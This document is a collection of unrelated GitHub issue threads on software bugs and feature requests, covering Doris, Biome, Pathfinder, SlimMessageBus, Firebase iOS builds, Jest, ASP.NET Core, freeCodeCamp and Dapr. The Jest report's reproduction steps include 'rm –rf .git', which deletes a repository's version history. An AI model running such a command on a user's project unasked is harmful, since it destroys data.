fixfix bug for missing slot

Proposed changes
In previous version, if the output slot of analyticExpr is not materialized, the analyticExpr is pruned.
But there are some cases that it cannot be pruned.
For example:
               SELECT
                    count(*)
                FROM T1,
                    (SELECT dd
                    FROM (
                        SELECT
                            1.1 as cc,
                            ROW_NUMBER() OVER() as dd
                        FROM T2
                        ) V1
                    ORDER BY cc DESC
                    limit 1
                    ) V2;

analyticExpr(ROW_NUMBER() OVER() as dd) is not materialized, but we have to generate
WindowGroup for it.
tmp.dd is used by upper count(*), we have to generate data for tmp.dd
TODO:
In order to prune 'ROW_NUMBER() OVER() as dd', we need to rethink the rule of choosing a column
for count(*). (refer to SingleNodePlanner.materializeTableResultForCrossJoinOrCountStar)
V2 can be transformed to
   SELECT cc
    FROM (
        SELECT
            1.1 as cc,
            ROW_NUMBER() OVER() as dd
        FROM T2
        ) V1
    ORDER BY cc DESC
    limit 1
    ) V2;

Except the byte size of cc and dd, we need to consider the cost to generate cc and dd.
Issue Number: close #xxx
Problem summary
Describe your changes.
Checklist(Required)

Does it affect the original behavior:

[ ] Yes
[ ] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[ ] No
[ ] No Need

Has document been added or modified:

[ ] Yes
[ ] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[ ] No

Are there any changes that cannot be rolled back:

[ ] Yes (If Yes, please explain WHY)
[ ] No

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

https://github.com/apache/doris/pull/16579
may be this pr can fix it

TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 35.72 seconds
stream load tsv:          475 seconds loaded<PHONE_NUMBER>9 Bytes, about 150 MB/s
stream load json:         38 seconds loaded<PHONE_NUMBER> Bytes, about 59 MB/s
stream load orc:          68 seconds loaded<PHONE_NUMBER> Bytes, about 15 MB/s
https://doris-community-test-1308700295.cos.ap-hongkong.myqcloud.com/tmp/20230210115251_clickbench_pr_93808.html

#16579
may be this pr can fix it
hi @nextdreamblue
#16579 is about const expression, but this bug is not relative to const. The original sql is from customer, there is no const column. I use const column to make the sql simple.


Fix stopSound, pauseSound, and resumeSound

been knowing this issue for a while, but since i can compile with actions now, i can test what breaks it
...
apparently its the shitty formatting

also closes #15525 ("setText" functions are fixed in a separate PR #15360)

Probably caused by me copy pasting shit over and over


📝 HTML void tags should always emit a / token

Environment information
playground

Configuration
No response
Playground link
https://biomejs.dev/playground?files.main.html=PABpAG0AZwA%2BAA%3D%3D
Code of Conduct

[X] I agree to follow Biome's Code of Conduct

Note that HTML doesn't work in the playground without:

#3967
#3892
biomejs/website#1089

can you assign it to me?


Ability to specify the signature ID of a connection

A new context menu option on connections to specify which signature ID type it is would be amazing. I have a cronjob set-up to EOL old connections at 48 hours but if I could EOL them based on their signature ID that would be even better.
I know we've talked about this at various times but I wanted to track it in an issue on it's own as I think this is the best approach.

Right click -> set signature ID
Get dropdown of completely unfiltered (i.e., every possible signature id in the game, don't bother about filtering based on the source system type as this is just creating issues IMO)

Someone asked to set timer for EOL connections, I´m not sure if this request isn´t contrary to it.

Setting the connection to the correct signature ID brings a lot of benefits; being able to filter routes based on ship size, mass, etc comes to mind primarily. I feel like the request to manually specify an EOL timer is just a hack to get around the fact that we can't age them out appropriately because they're not linked to the signature.

I think connection ID can be set automatically from information , which systems is interconnecting. Only frig size and couple exceptions are there ... .

@atkinsj Adding a new option to the contextmenu of a connection would be difficult:

There are always two signature IDs in two systems that are connected. Wouldn't it be better to add a new select to the signature table to select the connection?
How to other mapping tools (Tripwire, Siggy,...) handle this problem?

It is basically the same as in https://github.com/exodus4d/pathfinder/pull/228. The goal is being able to add and delete entries in siglist and map in one go.
If you add a signature to the list in Siggy, you can select a target system you already have on the map. It then autolinks those two, so when you delete one, it deletes the other.

@exodus4d sorry, I missed this reply.

There are always two signature IDs in two systems that are connected. Wouldn't it be better to add a new select to the signature table to select the connection?

Only one of these is 'true'. The K162 is irrelevant: I wouldn't even make it available as a context menu options. If you aren't jumping through the hole to get the true signature ID then you aren't in need of this feature (but you really should be, to both).
This makes the data that's already in the signature reader applicable to users in a much more useful way but it doesn't replace the signature reader, you need both. There are some signatures that last 16 hours, there some that last 48. If you can mark a connection with the signature ID then we can have a cronjob that could automatically mark holes as EOL based on the signature ID.
The information is there to do that right now but it's not linked to the connection, so we can't do anything with it.

This has been requested already #191

First time posting on this project. I've been doing some research into Pathfinder as an alternative or backup from Tripwire. I really like the functionality and interface, but it is this issue that is causing me to not use this tool. Without it, we are (at least) doubling the workload of managing our map connections.
Tripwire does the following with Auto-Mapper turned on:
A new K162 wormhole is found. Its signature id is known (through copy and pasting probe scan results). This immediately adds a blank "new" system  attached to the sig id in the map with simply a labeling of K162 since no additional information is known. The user can still modify EOL and mass levels. This also has a "Leads:" field which the user can enter any system name OR the class of wormhole (which can be visually and/or textually identified without going through). The user can even put in High-Sec if the description of the wormhole says so.

This will then be reflected upon the signature list:

And the system map:

If the user then enters a K162, Tripwire will verify the destination system cannot match any other connection and verify it is unique. If it is unique, it will automatically update the "Leads:" field with the actual system name, create a new signature in the destination system with "Leads:" set to the source system with unknown sig id, and then switch context to the new system if following is enabled. If there is a conflict to find a unique system for the destination, a prompt will appear asking which of the conflicting signatures the user jumped through. This establishes the correct connection.
Deleting any of the wormhole or gate type signatures will break that chain. I realize that pathfinder is setup to be a bit more persistent, keeping a chain around even if it has no connections. That is fine, it is easy to select the now disconnected group and delete them in the system view.
Ok, that was a lot to type, hopefully I didn't go off tangent too much from this thread. In any case, this issue currently forces us to make many many more clicks and typing than Tripwire does.

WIP

There are a lot feature requests in this issue. I haven´t implemented them all but I did some groundwork for further features.
Changes:

Signatures can be connected to connections(e.g. wormholes).

New "leads to" column with select options with all connections in the current system
This column is just editable for signature type "wormhole"

Multiple signatures can be connected with a single connections (which does not make much sense). Therefore I implemented a conflict check that validates all connected signatures.

If there are more than 1 signature connected with a connected, a red warning icon is visible next to the signatures that have a conflict.
This check is also available for new signatures that have not been saved yet (see image below)

Check https://github.com/exodus4d/pathfinder/issues/334#issuecomment-279226205 for upcoming UI changes (new overlays)....


Cannot remove consumers dynamically during runtime

Hi,
Cannot remove consumers after building the messagebus and during application run time. Is this even possible?
Also I would like to publish messages even if there no consumers. But I can't do that because I get a message:
"Message of type {some type} was not registered as a supported produce message.
In short, I would like to add and remove consumers on the fly during runtime. It is a must for my application. I do I achieve this
with using the MemoryMessageBus?

Hello,
Currently, the implementation is optimized for upfront declared consumers - you cannot remove or add them on the fly at runtime. The same goes for the producers. The reason for that is it performs some optimizations during the build, but also the configuration happens
However, with v2 is only possible to be done when the app start during services setup by using several .AddSlimMessageBus() - might be helpful if you're doing some dynamic assembly loading.
Also, if you're using .AutoDeclareFromConsumers() it scans all of the consumers/handler types and declares producers and consumers from the found types. Perhaps you need to declare all the possible tyles used upfront?
As an extreme perhaps declare a common base type across your conumers and producers (mbb.Produce<object>() + mbb.Consume<object>()) but I haven't tested that setup.
If I understand your use case more perhaps I could offer an alternative approach.

My use case is as follows: I have an MVVM application. Now, this application has main window and some modal windows floating.
Each window is bound to a view mode inherits from IConsumer.
So whenever close a modal window, I dispose the VM, But the view model never stops from consuming messages of SomeMessage.
I would like to be able to dispose a view model and never get the messages it consumes.
In addition I register the view models as singletons. But because the view models are also consumers, the are registered as Transient in DI, which not good for me.
So to summarize I need two things:

To register my view models (which also consume message) as Singletons.
To stop consuming messages when disposing a view model consumer.

I build the messagebus as follows:
var host = Host.CreateDefaultBuilder(args)
.ConfigureServices(services =>
{
var executingAssembly = Assembly.GetExecutingAssembly();
services
.AddHostedService()
.AddSingleton<IConsumer, SomeMessageConsumer>()
.AddSlimMessageBus(mbb =>
{
var sp = services.BuildServiceProvider();
                        mbb
                            .AddServicesFromAssembly(executingAssembly)
                            .WithDependencyResolver(sp)
                            .WithProviderMemory(config => config.EnableMessageSerialization = false)
                            .AutoDeclareFrom(executingAssembly);
                    });

            });

Note that I registred IConsumer as a singleton but the constructor of SomeMessageConsumer gets called each time I publish a message of type SomeMessage.
I would think that because I use .WithDependencyResolver(sp) My consumer will be a singleton as I've just registered it in my container, but it still remains transient.

Ok, I think I understand your use case now.
So a couple of things from the sample:

When using services.AddSlimMessageBus() then you should not use WithDependencyResolver() as it is automatically is called when the services are built. Also, I think building var sp = services.BuildServiceProvider(); under AddSlimMessageBus won't work as expected...

I could extend the AddServicesFromAssembly() to allow for providing an optional DI lifetime (currently it's set as transient). Let me do that here soon, as that was supposed to be the case either way.

The .AddSingleton<IConsumer, SomeMessageConsumer>()  is redundant as the AutoDeclareFrom() will register types in the DI under the concrete type (SomeMessageConsumer). If you can't wait for 2) then this .AddSingleton<SomeMessageConsumer>() would work in your case - just also follow 1).

The hardest part is to ensure the MVVM publish/subscribe works as you'd expect.
I have further questions here:

where are you publishing the events from?
the particular view would resolve the ViewModel from constructor injection?

The reason why I am asking, it might be good to create scope for the whole view (one window), inject the IMessageBus within that scope and have the consumers scoped too. That way you'd have all of your dependencies scoped to the particular view.
Now, I haven't done Xamarin/WinForms that much, but it could work with some view activation glue code that would create a scope from IServiceProvider.CreateScope()..

First, let me thank you for your thorough and quick responses, very helpful!
Regarding 3) and following your suggestion, I removed AutoDeclareFrom and registered SomeMessageConsumer directly, and now the lifetime of the instance is a singleton as I've registered it in my container, which is exactly what I wanted, thanks for the tip.
Regarding your questions:

I publish the events from a view model, and then another view model (or more than one) consumes those messages.
Each of my view models implements a correlating interface, so for example, I have a view model MapVM : IMapVM
And I register MapVM as a singleton in my container: .AddSignleton<IMapVM, MapVM>()
Each view could contain sub views inside it (user controls) which are also bound to their correlated view models, so that view models can be injected inside other containing view models in their constructor.
The important part is that EVERY view model (which is contained in a parent view model or containing other view models) can consume messages and publish messages as well.

Now, it is very critical for us for be able to remove/disable consumers on the fly during runtime. So critical that we are examining other message bus frameworks that could do that, although your framework is very good but lacks some crucial functionality that we need.

The AddServicesFromAssembly scans assemblies and registers them in the DI.
The AutoDeclareFrom scans assemblies and declares Produce and Consume on the memory bus, so that you don't have to. They complement each other. The AddServicesFromAssembly registers services as transient, but as I said will add the ability to override the default lifetime (today its transient).
The disable consumers feature could be added to the memory bus. Since we're not talking about a true dynamic remove or dynamic add then it could be possible. The question is on what basis would you know which consumers should be disabled?
Let say having a "control" interface that would allow filtering which consumers are active for a given publish/send context would work for you?
If so you could even achieve that I think with the consumer interceptor nowadays: https://github.com/zarusz/SlimMessageBus/blob/master/docs/intro.md#consumer-lifecycle
Define a generic consumer interceptor that would not execute the underlying IConsumer/IRequestHandler.

I will try using interceptor as you suggest.
Regarding disabling consumers: I would like the framework to have some ConsumerManager that would have a methods like: AddConsumer(Type consumer), RemoveConsumer(Type consumer), PauseConsumer(Type consumer), ResumeConsumer(Type consumer), so that I could inject this ConsumerManager anywhere I want in my application and call these methods during application runtime. That would be very simple and convenient to use!
Another very problematic issue for us:

I noticed registering a Generic type which is a consumer is not possible, I get the following exception:

And my consumer is defined like this:
    public class SomeMessageConsumer<T> : IConsumer<SomeMessage>
    {
        public SomeMessageConsumer()
        {

        }

        public Task OnHandle(SomeMessage message)
        {
            return Task.CompletedTask;
        }
    }

So, is this even possible to have a generic class implement IConsumer?

Isn't this an MSDI exception cannot
The .AutoDeclareFrom() is finding all the types that implement IConsumer in this case it's IConsumer which then it declared that the type of consumer is SomeConsumer (it's a generic).
Then MSDI cannot instaniate  SomeConsumer  from IConsume as it does't know where to take the generic param from.
If you try this it might help.
services.AddSingleton(typeof(IConsumer<>),  typeof(SomeMessageConsumer<>));
However, I am lost on why aren't you doing this in your class definition?
SomeMessageConsumer<T> : IConsumer<T>
Perhaps a shared sample would be better to collaborate on.

@yairush88  the ability to provide custom Lifetime.Singleton is available on the latest 2.1.5 version.
I've been thinking about this ticket some. Here is a bit of code (running off memory so things might be off):
services.AddSlimMessageBus(mbb =>
{
  mbb
    .AddServciesFromAssembly(executingAssembly, consumerLifetime: Lifetime.Singleton);
    .WithProviderMemory()
    // this will register all the found consumer concrete types under the "general" topic)
    .AutoDeclareFrom(executingAssembly, messageTypeToTopicConverter: t => "general")
    // this will allow to send ANY type into the "general" topic
    .Produce<object>(x => x.DefaultTopic("general"));
});
// This interceptor will allow to skip certain consumer from executing
services.AddTransient(typeof(IConsumerInterceptor<>), typeof(DisablingConsumerInterceptor<>));
services.AddSingleton<OpenViewModels>();

// stores the opened view models that should be recieving messages
public class OpenViewModels {

private  Dictionary<Type, bool> _enabled = new();

  public bool IsEnabled(Type viewModelType) => _enabled.ContainsKey(viewModelType) && _enabled[viewModelType];

  public void Enable(Type viewModelType) => _enabled[viewModelType] = true;
  public void Disable(Type viewModelType) => _enabled[viewModelType] = false;
}

// interceptor that checks if the specified type of consumer can fire given what's enabled in OpenViewModels
public class DisablingConsumerInterceptor<T> : IConsumerInterceptor<T>
{
  private readonly OpenViewModels _open;

  public DisablingConsumerInterceptor(OpenViewModels open) => _open = open;

  public async Task<object> OnHandle(TMessage message, Func<Task<object>> next, IConsumerContext context)
  {
    if (! _open.IsEnabled(context.Consumer.GetType()))  {
      // do not pass to the consumer
      return null;
    }
    // allow to pass to the consumer
    return await next();
  }
}

Again, it would be better to collab on some actual sample.

@zarusz Thanks for your help!

@yairush88 did it work or did you go with another library?

I went with MassTransit library,  which is way more flexible and easy to work with.  I'm sure you know this library,  which is very popular.  I did some testing with it's in-memory transport and it felt more intuitive and easier.  Altogether, your great library works flawlessly in our production and customers are very happy.
But now,  as I've explained to you,  we need to so some refactoring regarding the messagebus,  that we find MassTransit does better and easier.
Nevertheless,  thanks for your time and effort!

Yes I know mass transit. Sorry to hear that it didn't work out.
Could you post an example how you were able to achieve the dynamic consumer add and removal? I wonder what is missing here so that I can adapt and perhaps incorporate into the memory transport.


Add support for pausing measure scripts

Researchers want the option to pause running measure scripts, with the option of resuming them again at a later point.
I have implemented this so that when the user pauses the script, the program will finish the current stepper motor movement or interferometer measurement before stopping. (If there are repeat measurements to be done, the next measurement won't be started until the script is unpaused.) This is (I think!) what the existing program does!
I've implemented this by adding a couple of new possible States to ScriptRunner: waiting_to_move and waiting_to_measure. In the various places where we currently transition to moving or measuring directly, we now instead transition to these "waiting" states. When the ScriptRunner enters these states, it will do nothing if paused and will transition directly to moving or measuring if unpaused. If the user unpauses the script while it is in one of these states, it will then transition to moving or measuring.
Closes #182.

It makes sense, and I think it is a useful feature.
Documentation-wise, for future developers (including ourselves) it would be useful to have a diagram of the state machine and its possible transitions, otherwise it might be hard to grasp what it is doing.

Done! It turned out to be surprisingly easy. We could even get extra fancy and automatically generate the state diagrams when building the documentation, but that's probably a job for another day.


.NET 8 iOS app build error when using Xamarin.Firebase.iOS.Core NuGet: bitcode_strip: missing argument(s)

Issue moved from dotnet/maui#19946

Please respond to @awalker-dsg.

From @awalker-dsg on Wednesday, January 17, 2024 4:02:37 PM
Description
After updating our app (which targets Android and iOS) from net7.0 to net8.0, we started getting the following error when building for iOS:
Xamarin.Firebase.iOS.Core.targets(216,5): error : /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/bitcode_strip: missing argument(s) to: -o option
:
Xamarin.Firebase.iOS.Core.targets(216,5): error MSB3073: The command ""$(xcrun -find bitcode_strip)"  -r -o " exited with code 1.

(The full text of the error message can be found at the end of this ticket)
This error was reported as a Xamarin GoogleApisForiOSComponents issue on 29 Oct 2023. However, it was closed in Jan 2024 by the issue's author with the explanation that this sample repo helped solve the issue. However, we tried changes suggested there and it did not fix the issue for us.
Steps to Reproduce
The MAUI test project found at the sample repo link below was created using the VS wizard. It was modified so it only targets iOS, and a reference to Xamarin.Firebase.iOS.Core v<IP_ADDRESS> was added.
Using that sample code, here are the steps to reproduce the issue.

Get the repro project from the link below.
Open the .sln in Visual Studio on a PC
Pair to a Mac so the app can be built for iOS. (The steps to do that are WAY beyond the scope of this write-up.)
Set the build target to Release
Right click on the project and select Properties > iOS > "Bundle Signing" and set the provisioning profile. (Again, that's beyond the scope of this write-up.)
Click on Build > Rebuild Solution
If the problem exists, the build will fail with the error in the description. If fixed, the app builds successfully.

Link to public reproduction project repository
https://github.com/awalker_dsg/MauiApp_StripBitcodeIssue
Version with bug
8.0.3
Is this a regression from previous behavior?
Yes, this used to work in .NET MAUI
Last version that worked well
Unknown/Other
Affected platforms
iOS
Affected platform versions
This is a iOS app build error, so it's not related to a specific version of iOS.
Did you find any workaround?
Ultimately the error seems to be caused by changes made to address MAUI issue 12863. The error can be traced to this block of code in the Xamarin.Firebase.iOS.Core v<IP_ADDRESS> NuGet's \buildTransitive\Xamarin.Firebase.iOS.Core.targets file:
<Target Name="_FirebaseStripBitcodeFromFrameworksOnWindows"
        Condition="'$(IsMacEnabled)'=='true'">
    <!-- Get the frameworks to strip bitcode -->
    <FindInList
    CaseSensitive="false"
    List="@(_FrameworkNativeReference)"
    ItemSpecToFind="%(_FrameworkNamesToStripBitcode.Identity)"
    MatchFileNameOnly="True">
    <Output TaskParameter="ItemFound" ItemName="_FrameworksToStripBitcode"/>
    </FindInList>

    <!-- Strip the bitcode from frameworks -->
    <Exec SessionId="$(BuildSessionId)"
        Command=""%24(xcrun -find bitcode_strip)" %(_FrameworksToStripBitcode.Identity) -r -o %(_FrameworksToStripBitcode.Identity)" />

    <CopyFileFromBuildServer
    SessionId="$(BuildSessionId)"
    File="%(_FrameworksToStripBitcode.Identity)"
    TargetFile="%(_FrameworksToStripBitcode.Identity)" />
</Target>

We were able to work-around the issue by modifying the Target statement as shown below to skip this target when the target framework is net8:
<Target Name="_FirebaseStripBitcodeFromFrameworksOnWindows"
      Condition="'$(IsMacEnabled)'=='true' AND !$(TargetFramework.Contains('net8'))">

After this change is made, the app builds successfully.
Of course, making local changes to NuGets is less than ideal, so this change (or something similar) needs to be made in the public Xamarin.Firebase.iOS.Core NuGet.
Relevant log output
C:\Program Files\dotnet\packs\Microsoft.iOS.Sdk\17.0.8490\targets\Xamarin.Shared.Sdk.targets(743,3): warning MT7091: The framework C:/Users/xxxx/.nuget/packages/xamarin.firebase.ios.core/<IP_ADDRESS>/lib/net6.0-ios15.4/Firebase.Core.resources/GoogleUtilitiesComponents.xcframework/ios-arm64/GoogleUtilitiesComponents.framework is a framework of static libraries, and will not be copied to the app.
"$(xcrun -find bitcode_strip)"  -r -o
C:\Users\xxxx\.nuget\packages\xamarin.firebase.ios.core\<IP_ADDRESS>\buildTransitive\Xamarin.Firebase.iOS.Core.targets(216,5): error : /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/bitcode_strip: missing argument(s) to: -o option
Usage: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/bitcode_strip input [-r | -m | -l] [-keep_cs] -o output
C:\Users\xxxx\.nuget\packages\xamarin.firebase.ios.core\<IP_ADDRESS>\buildTransitive\Xamarin.Firebase.iOS.Core.targets(216,5): error MSB3073: The command ""$(xcrun -find bitcode_strip)"  -r -o " exited with code 1.

Issue moved from dotnet/maui#19946

Please respond to @drasticactions.

From @drasticactions on Sunday, January 21, 2024 12:30:37 PM
@rolfbjarne What do you think about this? I'm not sure there's any MAUI UI tooling that would influence this.

Issue moved from dotnet/maui#19946

Please respond to @rolfbjarne.

From @rolfbjarne on Monday, January 22, 2024 4:35:49 PM
This seems to be an issue for https://github.com/xamarin/GoogleApisForiOSComponents.
You might be able to work around it by redefining the _FirebaseStripBitcodeFromFrameworksOnWindows target in your csproj to do nothing:
<Target Name="_FirebaseStripBitcodeFromFrameworksOnWindows" />

@rolfbjarne Hi, who are we supposed to approach to request the Xamarin.Firebase.iOS.* packages gets updated to version 10.x ? I have tried different places, also asked @Redth for some info elsewhere. Not getting response anywhere from.
I have myself tried to get Analytics, Core and Installations updated based on the repo by AdamEssenmacher.
But I am getting errors when building for physical device: Undefined symbols for architecture arm64.
I'm green regarding binding and can't seem to nail it.

@rolfbjarne Hi, who are we supposed to approach to request the Xamarin.Firebase.iOS.* nugets gets updated to newest versions, for instance Analytics and dependencies to 10.x ?
I have tried different places, also asked @Redth for some info elsewhere. Not getting response anywhere from.

This is where the action is happening: https://github.com/dotnet/maui/discussions/20359

Yes sorry - I found out after I asked you @rolfbjarne 👍


Error when do jest --watch in project with no git or hg

Do you want to request a feature or report a bug?
bug
What is the current behavior?
I created an app using create-react-native-app and ran yarn test that uses jest --watch. And It threw the error:
Determining test suites to run...Error: This promise must be present when running with -o.
    at /Users/arthurkhusaenov/Codes/AwesomeProject/node_modules/jest-cli/build/search_source.js:202:17
    at Generator.next (<anonymous>)
    at step (/Users/arthurkhusaenov/Codes/AwesomeProject/node_modules/jest-cli/build/search_source.js:19:362)
    at /Users/arthurkhusaenov/Codes/AwesomeProject/node_modules/jest-cli/build/search_source.js:19:592
    at new Promise (<anonymous>)
    at /Users/arthurkhusaenov/Codes/AwesomeProject/node_modules/jest-cli/build/search_source.js:19:273
    at SearchSource.getTestPaths (/Users/arthurkhusaenov/Codes/AwesomeProject/node_modules/jest-cli/build/search_source.js:216:10)
    at /Users/arthurkhusaenov/Codes/AwesomeProject/node_modules/jest-cli/build/run_jest.js:44:29
    at Generator.next (<anonymous>)
    at step (/Users/arthurkhusaenov/Codes/AwesomeProject/node_modules/jest-cli/build/run_jest.js:23:380)

If the current behavior is a bug, please provide the steps to reproduce and
either a repl.it demo through https://repl.it/languages/jest or a minimal
repository on GitHub that we can yarn install and yarn test.
rm –rf .git in some project that uses Jest. Then jest --watch
What is the expected behavior?
I saw docs https://facebook.github.io/jest/docs/en/cli.html#running-from-the-command-line and found jest --watch runs jest -o by default. So I tried jest -o and I’ve got the clear message:
Jest can only find uncommitted changed files in a git or hg repository. If you make your project a git or hg repository (`git init` or `hg init`), Jest will be able to only run tests related to files changed since the last commit.
No tests found related to files changed since last commit.

If jest --watch runs jest -o by default then should jest --watch shows the same message in this case?
It happens here https://github.com/facebook/jest/blob/master/packages/jest-cli/src/run_jest.js#L45
if (!data.tests.length && globalConfig.onlyChanged && data.noSCM) {
  if (globalConfig.watch) {
    data = await source.getTestPaths(globalConfig);
  } else {
    new Console(outputStream, outputStream).log(
      'Jest can only find uncommitted changed files in a git or hg ' +
        'repository. If you make your project a git or hg ' +
        'repository (`git init` or `hg init`), Jest will be able ' +
        'to only run tests related to files changed since the last ' +
        'commit.',
    );
  }
}

In first if statement it's true && true && true and here if (globalConfig.watch) it’s also true because I use --watch. So I think it should be:
if (!data.tests.length && globalConfig.onlyChanged && data.noSCM) {
  new Console(outputStream, outputStream).log(
    'Jest can only find uncommitted changed files in a git or hg ' +
      'repository. If you make your project a git or hg ' +
      'repository (`git init` or `hg init`), Jest will be able ' +
      'to only run tests related to files changed since the last ' +
      'commit.',
  );
}

But what do you think guys, can I change that or I missed something?

IMO we should remove this branch, as we don't support --watch inside non-version-controlled environments. Feel free to send a PR fixing that :)

Closed via https://github.com/facebook/jest/pull/5060


Where is 'ConfigureService'

I'm using .NET 5.0, I tried this code:
   public static IHostBuilder CreateHostBuilder(string[] args) =>
            Host.CreateDefaultBuilder(args)
                .UseWindowsService()
                .ConfigureAppConfiguration((hostingContext, config) =>
                {
                    config.AddJsonFile("custom_settings.json");
                })
                .ConfigureServices((hostContext, services) =>
                {
                    services.AddHostedService<Worker>();
                });

And there's no 'UseWindowsService' method.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: b0bd8cb8-7e28-8c4d-a550-3aea8f3ab4dd
Version Independent ID: 4b60d24e-ef05-15e5-10b4-483094081bf3
Content: Host ASP.NET Core in a Windows Service
Content Source: aspnetcore/host-and-deploy/windows-service.md
Product: aspnet-core
Technology: aspnetcore-hostdeploy
GitHub Login: @Rick-Anderson
Microsoft Alias: riande

Hello @DRAirey1 ...
https://docs.microsoft.com/en-us/dotnet/api/microsoft.extensions.hosting.windowsservicelifetimehostbuilderextensions.usewindowsservice
Try adding a ...
using Microsoft.Extensions.Hosting;

... to the namespaces at the top.

Hello @DRAirey1 ...
https://docs.microsoft.com/en-us/dotnet/api/microsoft.extensions.hosting.windowsservicelifetimehostbuilderextensions.usewindowsservice
Try adding a ...
using Microsoft.Extensions.Hosting;

... to the namespaces at the top.

Gosh.  I didn't think about adding a using statement.  Thanks so much.
It's not the namespace, you need to explicitly add the package 'Microsoft.Extensions.Hosting.WindowsServices'

Gosh.  I didn't think about adding a using statement.  Thanks so much.
It's not the namespace, you need to explicitly add the package 'Microsoft.Extensions.Hosting.WindowsServices'

I thought u were good on that because that's covered ...

The app requires a package reference for Microsoft.Extensions.Hosting.WindowsServices.

I think if the namespace isn't there the same thing happens, and the topic doesn't show it. However, that namespace should be there in an app generated from the template.

I thought u were good on that because that's covered ...

The app requires a package reference for Microsoft.Extensions.Hosting.WindowsServices.

I think if the namespace isn't there the same thing happens, and the topic doesn't show it. However, that namespace should be there in an app generated from the template.

You are correct.  I missed the line that told us to include the package.  Gomen nasai!

You are correct.  I missed the line that told us to include the package.  Gomen nasai!


Learn form validation by building a calorie counter; Step 44; Does not pass as expected with \n for newline

Describe the Issue
The test for Step 44 does not pass as it should when the user creates a newline with a newline literal, and not by pressing the enter key on their keyboard and making the string extend by a line.
Affected Page
https://www.freecodecamp.org/learn/javascript-algorithms-and-data-structures-v8/learn-form-validation-by-building-a-calorie-counter/step-44
Your code
const HTMLString = `\n<label>Entry ${entryNumber} Name</label>`;

Expected behavior
The challenge should report successful, as the created label has a newline before it.
Screenshots

System

Device: Desktop, Arch linux, Firefox
OS: 6.6.7-arch1-1
Browser: Firefox
Version: 120.0.1 (64-bit)

Additional context
No response

Ran into this issue in the forum today.

Not sure I understand why we care if there is a new line.
If this requirement is meant as a code formatting requirement we shouldn't allow the use of \n and instead change the text to be more precise.
Simply changing "with" to "on" might be enough.

Start your HTMLString on a new line, then create a label element.

so it is not a parsing issue then but an instruction issue?

I would say so.
I can't imagine the text "Start your HTMLString with a new line" in any way referring to using \n. I think it just needs to be clarified.

I can't imagine the text "Start your HTMLString with a new line" in any way referring to using \n.

I can easily imagine people interpreting that as using a \n at the beginning of the string. Also, this appears to be the first time a step uses multiple lines in a template literal, so it may not be obvious to the user that you can do that, and thus they might think that \n is their only option.
I'm struggling to find a reason why we care whether they use \n or an actual hard return here? Maybe the point is to teach that template literals allow for multi-line strings? If that's the case then we need to explain that in the instructions. Otherwise, this restriction of now allowing \n seems rather capricious.

I can easily imagine people interpreting that as using a \n at the beginning of the string.

Which is why I said it should be clarified.
As far as I'm concerned the new line asked for only serves as code formatting. It has no other importance.
Allowing \n doesn't make sense as it does not produce the same code as going down on a new line before creating the element (also it doesn't do anything useful).
let withEscape = `\n <label>This is one line of text</label>`;
let withHTMLOnNewLine = `
This is one line of text`;

const p1 = document.createElement("p");
const p2 = document.createElement("p");

p1.innerHTML = withEscape;
p2.innerHTML = withHTMLOnNewLine;

console.log(p1.innerHTML === p2.innerHTML); // false

withEscape = `
This is one line of text`;
p1.innerHTML = withEscape;

console.log(p1.innerHTML === p2.innerHTML); // true

But as I said initially, I do not see the importance of testing for the new line. It seems fairly irrelevant.

What about changing the seed code so the user does not need to this at all? That seems like a good solution to me.

Create a label element on the new line of the template literal. Give that element the text Entry # Name, using your template literal syntax to replace # with the value of entryNumber.

It looks like we are still getting users on the forum, getting stuck on this issue.
I vote we move forward with @Sembauke 's suggestion of just updating the instructions and changing the editable regions to make it super clear where they need to write their code.
function addEntry() {
  const targetInputContainer = document.querySelector(`#${entryDropdown.value} .input-container`);
  const entryNumber = targetInputContainer.querySelectorAll('input[type="text"]').length;
  const HTMLString = `
  --fcc-editable-region--

  --fcc-editable-region--
  `;
}

This is what I have and can't still move ahead:
function addEntry() {
const targetInputContainer = document.querySelector(#${entryDropdown.value} .input-container);
const entryNumber = targetInputContainer.querySelectorAll('input[type="text"]').length;
const HTMLString = ``;
HTMLString =    Entry ${entryNumber} Name;

Hey @Nikky316,
Instead of asking for help here, please click the "Help" button on the challenge on freeCodeCamp, which will help you create a question in the right part of the forum. Volunteers on the forum usually respond to questions within a few hours and can help determine if there is an issue with your code or the challenge's tests.
Thank you and happy coding.


Testcase for #266

This adds a testcase for #266 which makes it easer to check it.
The manf# and manf field should propagate for SubParts too.
The results of the testcase are still not as expected.

Hi @mdeweerd !
Thanks for it, but I don't think merging it is a good idea. Not until the solution is implemented, or the team chooses not to implement it. Otherwise people not familiar with this issue could think that propagating is wrong, when the user is asking for it ;-)
Perhaps @hildogjr wants to merge it. I copied it to a branch called mdeweerd-266 in case @hildogjr wants to play with it.
BTW: please use "flake8" to check your patches.

@set-soft Thank you for the feedback.
I think it is easier to have the test case in the master - leaving it in a branch just lets it go stale.  I referenced the issue index.
In the master it is also easier to check what the result of the test case is.  Otherwise there is an extra effort to check the branch.
Il try to think about checking with flake8 - maybe it should be added to the test automation so that it automatically stands out af "failing" for styling errors.

Ok, lets @hildogjr  take a decision.
I think regression tests must reflect what we want to keep as behavior, not just issues.
We could add some special file and or directory for the purpose you mention, but mixing stablished behavior with random stuff isn't a good practice.

I manually merged it, but:

I disabled the test. Is there but not executed.
I simplified the enable/disable for ADD_QUERY_TO_KNOWN

BTW: I use "Undo" to revert it

I mostly use vi, so with the previous method I just do "x:w" or "xx:w" and then "i# :w" at the start of the line, or "U:w" if it was the last change ;-).
With new method "$r0:w" and then "$r1:w" or "U:w" .  The "comment/uncomment" method works in most languages, I tend to "unify" techniques.  Some editors it's just "<CTRL+SHIFT+/><CTRL+S>" for both operations.


Typo in setup-sqlserver.md reference file

URL of the docs page
https://docs.dapr.io/reference/components-reference/supported-state-stores/setup-sqlserver/
How is it currently worded?

If you wish to use Redis as an actor state store, append the following to the yaml.

How should it be worded?
